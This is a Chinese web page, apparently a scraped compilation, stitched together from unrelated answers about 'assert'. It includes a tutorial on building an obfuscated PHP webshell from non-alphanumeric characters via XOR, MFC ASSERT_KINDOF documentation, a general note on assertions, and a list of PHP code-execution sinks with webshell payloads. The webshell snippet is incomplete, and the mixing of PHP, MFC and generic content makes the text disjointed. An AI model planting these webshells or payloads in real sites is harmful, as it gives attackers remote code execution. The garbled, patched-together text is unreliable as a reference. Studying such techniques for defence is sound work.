assert函数php(如何通过非数字与字符的方式实现PHP WebShell详解)

本文目录
- 如何通过非数字与字符的方式实现PHP WebShell详解
- assert什么时候用怎么用
- assert函数的功能不太明白
- Payload:< php eval(’phpinfo();’);>可否为php代码执行
如何通过非数字与字符的方式实现PHP WebShell详解
通过一系列字符变换最终利用非字母和非数字字符构建出webshell,然后使用PHP的动态函数(例如“assert”)来完成函数名的拼接,最后动态执行构建出来的代码。
所以,转换方法就是解决这一问题的重点了。但是在开始之前,我需要跟大家讨论以下php5和php7之间的区别。
php5的断言(assert)是通过函数实现的,我们可以使用$f=’assert’;$f(…);这种方法来动态执行任意代码。但是在php7中,断言已经不再是一个函数了,而是一种语言结构(类似eval),而且断言(assert)也无法再作为函数名来实现代码的动态执行了,所以对于php7来说,问题可能会变得更加复杂了。不过各位也不用太过担心,因为我们可以使用
file_put_contents函数来达到我们的目的。
为了方便起见,本文的实验环境使用的是php5,关于php7的利用方式就请各位自行去探索啦:D
方法一
这是一种最简单的方法了。在php中,我们可以通过异或运算(XOR)来得到一个或两个字符串。因此,如果我们想要得到一个a-z之间的英文字符,我们就可以通过两个非字母字符和字符数来生成所需要的字母字符。示例代码如下:
?1
2
3
4
5
6
7
$__=’_’.(’%0D’^’]’).(’%2F’^’`’).(’%0E’^’]’).(’%09’^’]’);// $__=’_POST’;
$___=$$__;
$_($___[_]); // assert($_POST[_]);
解析结果如下:
assert什么时候用怎么用
参数: classname CObject派生类的名字。pobject 类对象的指针。说明:这个宏断言指向的对象属于指定的类,或者属于从指定的类继承的类。pobject参数应该是指向一个对象的指针,可以是const类型的。指向的对象和类必须支持 CObject运行时类信息。作为一个例子,要确定pDocument是否是CMyDocument类或者它的任何派生类的对象的指针,你可以这么写:ASSERT_KINDOF(CMyDocument, pDocument)使用ASSERT_KINDOF宏的作用与下述代码完全相同:ASSERT(pobject-》IsKindOf(RUNTIME_CLASS(classname)));这个函数仅对用DECLARE_DYNAMIC或DECLARE_SERIAL宏声明的类起作用。注意:这个函数仅在MFC的调试版本中才有。
assert函数的功能不太明白
assert即断言,也即做出一些假设,程序运行时如果假设不成立,程序就会中断。
没有很多调试经验,可能不太理解断言在哪会用到,实际上我们在调试一个出错的程序时,由于程序出错的位置往往不是错误起因的位置,我们需要追溯错误的起源,就需要在前方的一定位置确保某个变量的值符合一定的条件。 比如VS有局部数组变量越界访问检查机制,如果函数中的数组被越界访问,在函数结束时会报错,但是我们并不知道具体是在哪次访问中越界了,我们可以在每次访问前用assert断言数组下标变量的值小于数组大小,这样如果发生越界访问就可以确定其具体位置。
百度百科中列举的一些使用断言的位置:
1.可以在预计正常情况下程序不会到达的地方放置断言 :assert false
2.断言可以用于检查传递给私有方法的参数。(对于公有方法,因为是提供给外部的接口,所以必须在方法中有相应的参数检验才能保证代码的健壮性)
3.使用断言测试方法执行的前置条件和后置条件
4.使用断言检查类的不变状态,确保任何情况下,某个变量的状态必须满足。(如age属性应大于0小于某个合适值)
Payload:< php eval(’phpinfo();’);>可否为php代码执行
代码执行漏洞是指应用程序本身过滤不严,攻击者可以通过请求将代码注入到应用中,最终在web服务器上去执行。
危险函数执行PHP代码的有:
eval(), assert(), preg_replace(), call_user_func(), call_user_func_array(), create_function(), array_map()等。
1.eval()和assert()函数本身就可动态执行代码,其参数就是PHP代码
payload: 《? eval(’phpinfo();’);?》
2.preg_replace()函数的第一个参数存在e修饰符时,第二个参数和第三个参数可能当作PHP代码被执行
preg_replace漏洞触发有两个前提:
第一个参数需要e标识符,有了它可以执行第二个参数的命令
第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令
//echo preg_replace(‘/test/e’, ‘phpinfo()’, ‘just test’);这样是可以执行命令的
//echo preg_replace(‘/test/e’, ‘phpinfo()’, ‘just tesxt’); 或者echo preg_replace(‘/tesxt/e’, ‘phpinfo()’, ‘just test’); 这两种没有匹配上,所以返回值是第三个参数,不会执行命令
payload:
《?php preg_replace(’/
(.∗)
(.∗)
/e’,’\\1’,’$_GET[’a’]);?》
请求1.php?a=[phpinfo()]
3.call_user_func()和array_map()等函数的作用就是调用其他函数,并将第二个参数作为回调函数的参数
payload:
《?php $b=’phpinfo()’; call_user_func($_GET[’a’],$b);?》
请求1.php?a=assert, 则调用了assert函数

更多文章:
majority of(the majority of 和 a majority of的区别以及用法例句)
2026年10月11日 07:40
another time(another time和other time的区别)
2026年10月11日 05:00







